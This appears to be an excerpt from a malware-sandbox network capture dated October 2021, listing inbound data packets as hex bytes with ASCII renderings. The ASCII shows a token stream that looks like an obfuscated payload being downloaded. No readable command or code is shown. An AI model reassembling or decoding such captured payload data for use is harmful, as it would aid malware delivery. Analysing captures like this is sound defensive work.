2021-10-29 15:55:26 UTC	48	IN	Data Raw: 20 57 4d 20 45 45 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 4f 20 57 4f 20 70 45 20 71 58 45 20 71 4a 45 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 44 45 20 71 57 57 20 57 6d 20 58 6d 20 71 71 44 20 4a 71 57 20 44 4d 20 4a 57 70 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 4a 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 44 20 4a 6d 20 6d 58 20 57 4f 20 57 6d 20 45 71 20 44 44 20 71 71 4a 20 71 4f 4d 20 71 4d 4a 20 57 71 20 6d 58 20 57 4f 20 71 4d 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 58 58 20 71 58 6d 20 6d 58 20 57 4f 20 6d 58 20 70 4d 20 71 71 4d 20 71 71 4d 20 71 4f 4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 Data Ascii: WM EE qqE qOM qqX JO WO pE qXE qJE qqm qqE qqq XW pD DE qWW Wm Xm qqD JqW DM JWp WO mX WJ XM Jq qqm qqE qOE XD Jm mX WO Wm Eq DD qqJ qOM qMJ Wq mX WO qM Xm qqm qOO qqq XX qXm mX WO mX pM qqM qqM qOM qqX WD mE Dq qXE MO qqm qqE qqq XW pD pD JOm mX pX qqm
2021-10-29 15:55:26 UTC	49	IN	Data Raw: 4a 71 57 20 44 4d 20 4a 6d 58 20 57 4f 20 6d 58 20 57 4a 20 6d 58 20 70 4d 20 4a 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 57 44 20 57 71 20 57 6d 20 58 4f 20 4d 4f 20 4a 6d 4f 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 6d 20 4a 4f 6d 20 6d 58 20 58 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 71 57 71 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 4d 58 20 71 71 45 20 71 4f 4d 20 4d 71 20 4a 44 20 70 70 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 4a 6d 70 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 6d 20 71 58 71 20 57 6d 20 58 6d 20 71 71 44 20 71 71 57 20 71 6d 45 20 71 71 58 20 57 70 20 57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 Data Ascii: JqW DM JmX WO mX WJ mX pM Jqm qqE qOM qJJ EM WD Wq Wm XO MO JmO qOM qqJ WJ Wm JOm mX XJ qqJ qqE qOE p qWq mX WO DO qJm MX qqE qOM Mq JD pp WO Wm qJE MO Jmp qOM qqJ WJ Jm qXq Wm Xm qqD qqW qmE qqX Wp WO WO mX pM JqW qqE qOM qJJ JD pJ WO Wm qJE MO qOO qOM q
2021-10-29 15:55:26 UTC	50	IN	Data Raw: 20 6d 58 20 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 45 20 57 4f 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 4a 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 57 6d 20 57 4f 20 6d 58 20 57 4f 20 44 71 20 58 6d 20 71 71 6d 20 71 71 45 20 71 57 57 20 71 71 4a 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 45 20 6d 4d 20 57 4f 20 57 6d 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 Data Ascii: mX JqD Wm Xm qqm qJD qOM qqJ WO qME WO Wm Xm qqW qqE qOM qqJ JJ mX WO WW Xm qqm qqE qOM qWm WO mX WO Dq Xm qqm qqE qWW qqJ WO mX mM Wm Xm qqm qJJ qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ mE mM WO Wm Ep qqW qqE qOM qqp WO mX WO qX Xm qqm qqD qOM qqJ WO mX W
2021-10-29 15:55:26 UTC	52	IN	Data Raw: 6d 44 20 57 6d 20 4a 6d 20 71 70 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 71 4d 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4a 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 71 20 57 71 20 6d 58 20 57 4a 20 57 4f 20 71 4a 6d 20 71 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 44 20 71 70 57 20 57 71 20 57 6d 20 58 4a 20 58 58 20 71 4f 4a 20 4d 70 20 71 4a 6d 20 57 4f 20 71 44 44 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 45 58 20 57 44 20 57 57 20 58 6d 20 71 71 58 20 58 58 20 45 70 20 71 4f 4a 20 4a 4a 44 20 71 4f 6d 20 57 4f 20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 Data Ascii: mD Wm Jm qpW Wm Xm qJO JD JqM qqJ WO WX Mp qJM Xm qqm qJE DM JOq Wq mX WJ WO qJm qmX qqE qOM qqX JD qpW Wq Wm XJ XX qOJ Mp qJm WO qDD WO Wm Xm qqm qqE qOM qqJ Wm EX WD WW Xm qqX XX Ep qOJ JJD qOm WO Wm XW MO JOW qOM qqJ WD JJm Dp Wm Xm qqJ Mp Jqp qqJ WO W
2021-10-29 15:55:26 UTC	53	IN	Data Raw: 4a 20 70 4d 20 58 4f 20 4d 4f 20 71 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 44 4a 20 57 57 20 58 6d 20 71 71 44 20 71 4f 4f 20 71 4f 57 20 70 71 20 4a 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 58 4f 20 4d 4f 20 4a 4f 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 6d 20 4d 70 20 44 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 6d 20 71 71 4a 20 6d 44 20 4a 4d 20 57 4f 20 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 58 20 57 4f 20 6d 4a 20 57 6d 20 71 71 6d 20 71 4a 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 Data Ascii: J pM XO MO qmm qOM qqJ WJ MW qDJ WW Xm qqD qOO qOW pq Jmm mX WO DO XO MO JOq qOX qqJ WJ Wm Mp DE XW qqm qqW Eq qqJ WO mM mD Wm Xm qqJ qqE qJm qqJ mD JM WO WD Xm qqm qqE qOM qqm WO qqX WO mJ Wm qqm qJp qOM qqJ WO mX qqD WO qJm JOD qqD qOM qqX JD JpX WO Wm
2021-10-29 15:55:26 UTC	54	IN	Data Raw: 57 71 20 57 6d 20 58 4a 20 4a 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 4f 20 71 4d 71 20 4a 4d 20 58 6d 20 71 71 6d 20 71 71 4d 20 45 4a 20 71 4f 4a 20 44 57 20 71 44 70 20 57 4f 20 57 6d 20 58 4a 20 4a 4f 58 20 58 4f 20 71 4a 4a 20 71 71 58 20 71 6d 6d 20 4a 6d 20 71 4d 71 20 57 6d 20 58 6d 20 71 71 44 20 71 4a 44 20 71 4f 44 20 71 71 57 20 4d 70 20 58 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 4a 6d 4d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 4a 6d 58 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 70 20 44 4d 20 4a 4f 6d 20 57 71 20 6d 58 20 57 4a 20 6d 4d 20 57 4d 20 4a 6d 70 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 6d 20 71 44 44 20 6d 4d 20 58 4d 20 57 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 6d 44 20 57 4a 20 4a 44 20 71 70 58 20 Data Ascii: Wq Wm XJ JM JJW qOM qqJ WJ mO qMq JM Xm qqm qqM EJ qOJ DW qDp WO Wm XJ JOX XO qJJ qqX qmm Jm qMq Wm Xm qqD qJD qOD qqW Mp XM Wq Wm XJ MO JmM qOM qqJ WJ MW JmX Wm Xm qJO qqp DM JOm Wq mX WJ mM WM Jmp qqD qOM qqX Jm qDD mM XM Wp qqW qqE qOE MJ mD WJ JD qpX
2021-10-29 15:55:26 UTC	58	IN	Data Raw: 57 6d 20 58 6d 20 71 4a 4f 20 58 4d 20 71 4f 6d 20 71 4f 70 20 70 70 20 57 6d 20 4a 57 20 44 70 20 45 4f 20 71 4a 4a 20 4d 70 20 58 58 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 4a 70 4a 20 71 70 58 20 71 4a 6d 20 71 4f 70 20 71 4f 71 20 71 6d 4a 20 70 44 20 57 44 20 57 4f 20 57 6d 20 45 4d 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 70 57 20 6d 58 20 71 71 4f 20 71 45 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 70 70 20 57 57 20 44 4d 20 6d 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 44 20 70 70 20 57 44 20 58 4d 20 71 70 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 70 20 70 58 20 70 70 20 44 71 20 44 44 20 4d 45 20 71 4a 71 20 45 4f 20 57 45 20 70 57 20 57 4d 20 70 71 20 71 4a 70 20 44 44 20 4d 45 20 71 Data Ascii: Wm Xm qJO XM qOm qOp pp Wm JW Dp EO qJJ Mp XX qqJ WO WX pq JpJ qpX qJm qOp qOq qmJ pD WD WO Wm EM JM qJD qOM qqJ WD JpD pW mX qqO qED qqE qOM qqJ WO pp WW DM mX qqm qqE qOp MM WD pp WD XM qpW qqm qqE qOp MM Wp pX pp Dq DD ME qJq EO WE pW WM pq qJp DD ME q
2021-10-29 15:55:26 UTC	62	IN	Data Raw: 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 45 4d 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 70 20 6d 58 20 57 6d 20 58 6d 20 71 44 71 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 58 4f 20 71 71 6d 20 57 4f 20 6d 58 20 4a 70 45 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 4a 70 20 6d 4d 20 57 4f 20 57 6d 20 71 4a 44 20 71 71 6d 20 Data Ascii: qqJ qqE qOM qEM mX mX WO Wp Xm qqm qqE MX qqJ WO mM mX Wm Xm qqm qOq qOM qqJ WO Jmp mX Wm Xm qDq qqM qOM qqJ WD mX WO Wm Xm qqm qqE qOM qqJ WO mX WO mX Xm qqm qqE qXO qqm WO mX JpE WJ Xm qqm qqX qOM qqJ WO WX WO Wm XW qOW DM qOW qqJ qJp mM WO Wm qJD qqm
2021-10-29 15:55:26 UTC	63	IN	Data Raw: 58 6d 20 71 4a 4f 20 71 44 4d 20 71 4a 6d 20 71 71 45 20 70 71 20 70 4a 20 57 70 20 70 4d 20 58 4f 20 71 71 70 20 71 71 70 20 44 4d 20 4a 4a 6d 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 44 44 20 71 71 6d 20 71 71 45 20 45 4f 20 71 4a 70 20 57 4d 20 4d 57 20 44 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 58 58 20 4a 57 57 20 71 45 6d 20 57 44 20 57 45 20 70 4f 20 6d 58 20 4d 70 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a 20 71 71 45 20 71 4f 57 20 4d 4d 20 57 58 20 70 58 20 70 70 20 44 70 20 71 4a 45 20 58 70 20 71 4f 4f 20 71 4f 71 20 4d 45 20 57 4d 20 71 45 4f 20 70 70 20 44 4f 20 58 70 20 71 71 4a 20 71 4f 4f 20 71 4f 70 20 58 58 20 4a 70 70 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4f 20 71 Data Ascii: Xm qJO qDM qJm qqE pq pJ Wp pM XO qqp qqp DM JJm WO mX WJ pO DD qqm qqE EO qJp WM MW DJ Wm Xm qJO XX JWW qEm WD WE pO mX Mp JM qJD qOM qqJ WD JpD JpD Wp qqm qEJ qqE qOW MM WX pX pp Dp qJE Xp qOO qOq ME WM qEO pp DO Xp qqJ qOO qOp XX Jpp mX WO DO qJm qOO q
2021-10-29 15:55:26 UTC	68	IN	Data Raw: 4a 20 57 44 20 44 71 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 44 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 4a 20 71 4f 4f 20 70 20 71 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 58 71 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4a 4f 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 70 20 71 4a 6d 20 71 71 44 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 4a 71 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 6d 4f 20 6d 4f 20 4a 71 45 20 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 4a 4a 6d 20 4a 57 57 Data Ascii: J WD Dq ED mO Xm qqm qJE qJD qqD ED mD WO Wm Mm ME qqJ qOO p qD mX WO DO qJm Xq qqE qOM qJJ Mp JO WO Wm Mm ME qqp qJm qqD mW Dp qMq qOX Xm qqm qqD EJ qDO JqW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM XO qOM qqJ WD JX mO mO JqE mO qqE qOM qqp Jp JJm JWW
2021-10-29 15:55:26 UTC	72	IN	Data Raw: 71 70 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 44 20 71 71 4d 20 58 58 20 4d 44 20 6d 58 20 57 4f 20 44 4f 20 45 57 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 70 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4a 45 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 4a 57 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 45 71 20 71 71 58 20 71 4f 4f 20 71 4f 57 20 4d 58 20 57 71 20 4a 6d 20 4a 71 4d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 70 71 20 71 71 4a 20 57 4f 20 57 6d 20 70 57 20 57 4f 20 44 45 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 70 44 20 6d 71 20 71 4a 44 20 4a 70 4d 20 Data Ascii: qp Wm Xm qqm qOD qqM XX MD mX WO DO EW qOq JmX WW qqJ WO mM Jp JpO qpO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD JE WO Wm Mm ME qJW qOE p qMM mX WO mX Eq qqX qOO qOW MX Wq Jm JqM Wm Xm qJO JD qpq qqJ WO Wm pW WO DE JWW mE qOM qqJ Wq Jq pD mq qJD JpM
2021-10-29 15:55:26 UTC	76	IN	Data Raw: 71 58 20 57 45 20 57 4f 20 45 4f 20 71 4a 6d 20 71 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 6d 71 20 57 44 20 57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 6d 57 20 57 6d 20 58 6d 20 71 4a 4f 20 45 20 70 6d 20 71 4a 4a 20 57 4f 20 44 6d 20 44 6d 20 45 70 20 4d 6d 20 71 71 6d 20 57 20 71 4d 20 71 71 4f 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 71 71 20 6d 58 20 57 4f 20 44 4f 20 57 4d 20 71 70 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 44 44 20 71 58 4d 20 44 4f 20 58 6d 20 4a 20 45 20 71 6d 4a 20 71 4a 4a 20 57 4f 20 44 6d 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 71 71 71 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 44 20 71 71 6d 20 Data Ascii: qX WE WO EO qJm qE qqE qOM qJJ Dm mq WD Wm pD qJ qOE qOM qqJ WD MW mW Wm Xm qJO E pm qJJ WO Dm Dm Ep Mm qqm W qM qqO WO mX WD pO EW qqm qqE qOp XX qq mX WO DO WM qpO qqE qOM qqX Jp DD qXM DO Xm J E qmJ qJJ WO Dm ED mO Xm qqm qJE DM qqq WO mX WD pO ED qqm
2021-10-29 15:55:26 UTC	80	IN	Data Raw: 20 4a 58 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 58 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 71 20 4d 57 20 71 4d 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 58 57 20 4a 4a 44 20 57 4f 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 71 4f 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 57 70 20 57 44 20 71 4f 44 20 71 58 57 20 71 4f 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 71 71 20 4a 45 20 6d 58 20 57 4f 20 57 4f 20 44 4d 20 71 4a 57 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 71 71 20 70 6d 20 6d 58 20 57 4f 20 Data Ascii: JX mX WO WJ mE XD qqE qOM qqD Mq MW qMJ Wm Xm qJO JqW XW JJD WO mX WO WJ mE qOJ qqE qOM qqD Wp WD qOD qXW qOO qqm qqE qqq qq JE mX WO WO DM qJW qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq qq pm mX WO
2021-10-29 15:55:26 UTC	84	IN	Data Raw: 4d 70 20 4d 4f 20 71 71 4a 20 57 4f 20 57 58 20 44 57 20 71 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 70 4f 20 57 4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 58 20 70 57 20 57 4d 20 71 4a 20 4d 4d 20 71 4a 70 20 71 4a 70 20 4a 70 4f 20 71 4f 44 20 70 70 20 44 4f 20 70 70 20 71 4d 6d 20 6d 4a 20 71 4f 4f 20 4d 4d 20 71 4f 6d 20 71 44 6d 20 71 4f 6d 20 70 57 20 57 44 20 45 45 20 4a 4a 58 20 6d 57 20 6d 20 4d 45 20 44 4f 20 6d 4a 20 71 44 6d 20 4d 57 20 57 4d 20 71 4a 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 4a 6d 20 57 4f 20 57 6d 20 58 4f 20 45 6d 20 4a 70 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 57 45 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 45 20 4a 44 20 71 20 71 71 Data Ascii: Mp MO qqJ WO WX DW qm Xm qqm qJE DM pO WO mX WD WJ mE MX qqE qOM qqD pW WX pW WM qJ MM qJp qJp JpO qOD pp DO pp qMm mJ qOO MM qOm qDm qOm pW WD EE JJX mW m ME DO mJ qDm MW WM qJX qqE qOM qJJ EM Jm WO Wm XO Em JpW qOM qqJ WO WO Ep WE Xm qqm qqp qqE JD q qq
2021-10-29 15:55:26 UTC	88	IN	Data Raw: 20 4a 44 20 58 4a 20 57 4f 20 57 6d 20 4d 6d 20 58 58 20 4d 4d 20 71 71 4f 20 71 4f 6d 20 4a 4f 6d 20 6d 4d 20 4a 6d 20 57 6d 20 58 6d 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 44 45 20 6d 58 20 57 4f 20 57 6d 20 71 71 71 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 57 20 4d 70 20 71 57 70 20 57 71 20 57 6d 20 58 4a 20 71 4f 71 20 4a 6d 58 20 57 70 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 70 58 20 71 45 4a 20 71 71 6d 20 71 4f 4d 20 4f 20 71 6d 6d 20 70 4d 20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 20 58 4a 20 71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70 20 71 71 71 20 71 71 70 20 57 4f 20 57 58 20 44 57 20 Data Ascii: JD XJ WO Wm Mm XX MM qqO qOm JOm mM Jm Wm Xm qOW DM qOm qqJ DE mX WO Wm qqq qqm qqE qJm qqW Mp qWp Wq Wm XJ qOq JmX Wp qqJ WO mM Jp pJ pX qEJ qqm qOM O qmm pM Mp qJO Xm qqm qJE qOp p Wq mM WO DO XJ qOO JpM qOE qOp qDX Jm Xq Wm Xm qJO Mp qqq qqp WO WX DW
2021-10-29 15:55:26 UTC	92	IN	Data Raw: 44 20 45 4f 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 57 4d 20 71 71 20 71 4a 70 20 71 71 70 20 57 4f 20 57 4a 20 4a 70 20 4a 45 20 44 45 20 58 6d 20 71 71 20 71 4a 71 20 71 71 70 20 57 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 57 4f 20 44 4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 58 4d 20 58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 45 20 6d 45 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 Data Ascii: D EO qqJ qpM qJO DE WO mX mq DJ qJE WM qq qJp qqp WO WJ Jp JE DE Xm qq qJq qqp WO WJ JOm mX EJ qqJ qqE qOE p mq mM WO DO qqp JmJ MM qOX qqJ Wm Jm mW Wm Xm XM XO Dm qJm JO pm mX JOO DW DW qqE qOM qOE WX JE pD mX qEO qqD qOM qqq qqJ WJ DE mE WW Xm qJO Mp EE
2021-10-29 15:55:26 UTC	95	IN	Data Raw: 6d 20 71 4a 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 44 20 71 70 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 20 71 4a 4a 20 45 44 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 20 57 4f 20 44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 Data Ascii: m qJE JOE XW pE pM pX pO JpJ qqm qqE qOp JqO Jp mO pE pm qJm JOD qqE qOM qJJ qmm Jq mp pJ Dm MO JOq qOM qqJ WD qmD JD qpM Xm qqm qJE DM mM Wq mX WD qXJ Ep qqW qqE qOW qm mE mM WO WO mE mX qqD qOM qJJ ED mW Wq Wm XO qJJ MM qJp p qqp mM WO DO DD qOO D mD qq
2021-10-29 15:55:26 UTC	100	IN	Data Raw: 57 4f 20 45 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 20 6d 58 20 71 4f 58 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 71 45 20 58 6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 57 20 71 4f 4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20 4a 20 57 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 70 4d 20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 Data Ascii: WO EE mX mM DO Xm qqm qqD qqq qqJ JX mX qOX qXD Xm qJO qqE qOM qqJ WO WO WO qE Xm p JpE qOM qJJ WO mX WO Wm XD qqm XW qOM Jmm qWO mX WD Wm Xm qqm qqE qOM qqJ WJ mX qWJ qpm Xm qqp qJE qOM qqJ Wq mp J Wq Xm qDW qqE qOM qqJ qJq mX WO pM pM JqD qqE qOM qJJ WD
